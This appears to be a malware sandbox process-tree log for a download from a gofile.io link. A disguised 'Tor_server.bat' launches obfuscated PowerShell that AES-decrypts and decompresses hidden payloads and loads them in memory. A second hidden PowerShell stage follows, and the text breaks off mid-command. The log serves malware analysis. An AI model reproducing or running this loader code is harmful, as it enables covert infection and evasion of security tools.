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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation1⤵PID:1864
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent1⤵PID:2300
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵PID:2572
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c:\windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}1⤵PID:2884
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3716
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3988
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3988 -s 8842⤵
- Program crash
PID:6520
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3988 -s 8642⤵
- Program crash
PID:3056
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:3340
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s CDPSvc1⤵PID:4488
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4428
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4428 -s 7842⤵
- Program crash
PID:6420
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2860
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" "--simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT'" https://gofile.io/d/2DDghj2⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4124 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7fff5a0c9758,0x7fff5a0c9768,0x7fff5a0c97783⤵PID:4100
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1960 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:83⤵PID:4240
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1592 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:23⤵PID:3112
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2076 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:83⤵PID:4296
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2972 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:3104
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2992 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:2024
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4616 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:3096
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3836 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:2404
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=4928 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:4888
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=4956 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:4880
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=5340 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:720
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=5624 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:1080
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=5756 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:1728
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=6068 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:4384
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=6104 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:4364
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=6092 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:4924
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=7020 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:83⤵PID:528
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=7016 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:924
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=22 --mojo-platform-channel-handle=7860 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:764
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=21 --mojo-platform-channel-handle=7852 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:876
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=7572 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:824
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=19 --mojo-platform-channel-handle=7436 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:408
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8156 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:83⤵PID:2144
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6588 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:83⤵PID:4716
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=25 --mojo-platform-channel-handle=6936 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:3556
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=26 --mojo-platform-channel-handle=6108 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:4064
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=27 --mojo-platform-channel-handle=8624 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:4944
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=28 --mojo-platform-channel-handle=8968 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:2560
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=29 --mojo-platform-channel-handle=9148 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:1268
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=30 --mojo-platform-channel-handle=9472 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:5224
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=31 --mojo-platform-channel-handle=9636 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:5292
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=32 --mojo-platform-channel-handle=5892 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:5300
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=33 --mojo-platform-channel-handle=3704 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:5428
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=34 --mojo-platform-channel-handle=3708 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:5436
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=35 --mojo-platform-channel-handle=8644 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:5616
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=36 --mojo-platform-channel-handle=10144 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:5668
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=37 --mojo-platform-channel-handle=10180 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:5688
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=38 --mojo-platform-channel-handle=10444 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:5796
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=39 --mojo-platform-channel-handle=7288 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:5964
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=40 --mojo-platform-channel-handle=9764 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:6060
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=41 --mojo-platform-channel-handle=5492 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:3580
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=42 --mojo-platform-channel-handle=5460 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:6136
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=43 --mojo-platform-channel-handle=9928 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:2692
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=44 --mojo-platform-channel-handle=7688 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:13⤵PID:6052
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7596 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:83⤵PID:3468
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=836 --field-trial-handle=1784,i,13763368192197467326,12221415311937091351,131072 /prefetch:23⤵PID:5296
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Tor_server\Tor_server.bat" "2⤵PID:4144
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3748
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C:\Users\Admin\Downloads\Tor_server\Tor_server.bat.exe"Tor_server.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function oSQrn($ZeVYC){ $zeZjK=[System.Security.Cryptography.Aes]::Create(); $zeZjK.Mode=[System.Security.Cryptography.CipherMode]::CBC; $zeZjK.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $zeZjK.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8BmyvjuHMJ5tOzAFS8WiFn9lK/Q4MbxC0JexUGmrSUA='); $zeZjK.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9vh1Iw96AMoyaJQxW/OGOQ=='); $wykrF=$zeZjK.CreateDecryptor(); $return_var=$wykrF.TransformFinalBlock($ZeVYC, 0, $ZeVYC.Length); $wykrF.Dispose(); $zeZjK.Dispose(); $return_var;}function hKuIZ($ZeVYC){ $oyWYk=New-Object System.IO.MemoryStream(,$ZeVYC); $DHmQw=New-Object System.IO.MemoryStream; $IstFA=New-Object System.IO.Compression.GZipStream($oyWYk, [IO.Compression.CompressionMode]::Decompress); $IstFA.CopyTo($DHmQw); $IstFA.Dispose(); $oyWYk.Dispose(); $DHmQw.Dispose(); $DHmQw.ToArray();}function IOLLO($ZeVYC,$kejag){ $KOKyF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$ZeVYC); $QwlUz=$KOKyF.EntryPoint; $QwlUz.Invoke($null, $kejag);}$eeeIZ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\Downloads\Tor_server\Tor_server.bat').Split([Environment]::NewLine);foreach ($UYkNp in $eeeIZ) { if ($UYkNp.StartsWith(':: ')) { $JpAFv=$UYkNp.Substring(3); break; }}$Rmcyk=[string[]]$JpAFv.Split('\');$zMool=hKuIZ (oSQrn ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($Rmcyk[0])));$Djtyd=hKuIZ (oSQrn ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($Rmcyk[1])));IOLLO $Djtyd (,[string[]] (''));IOLLO $zMool (,[string[]] (''));3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
PID:5656 -
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join 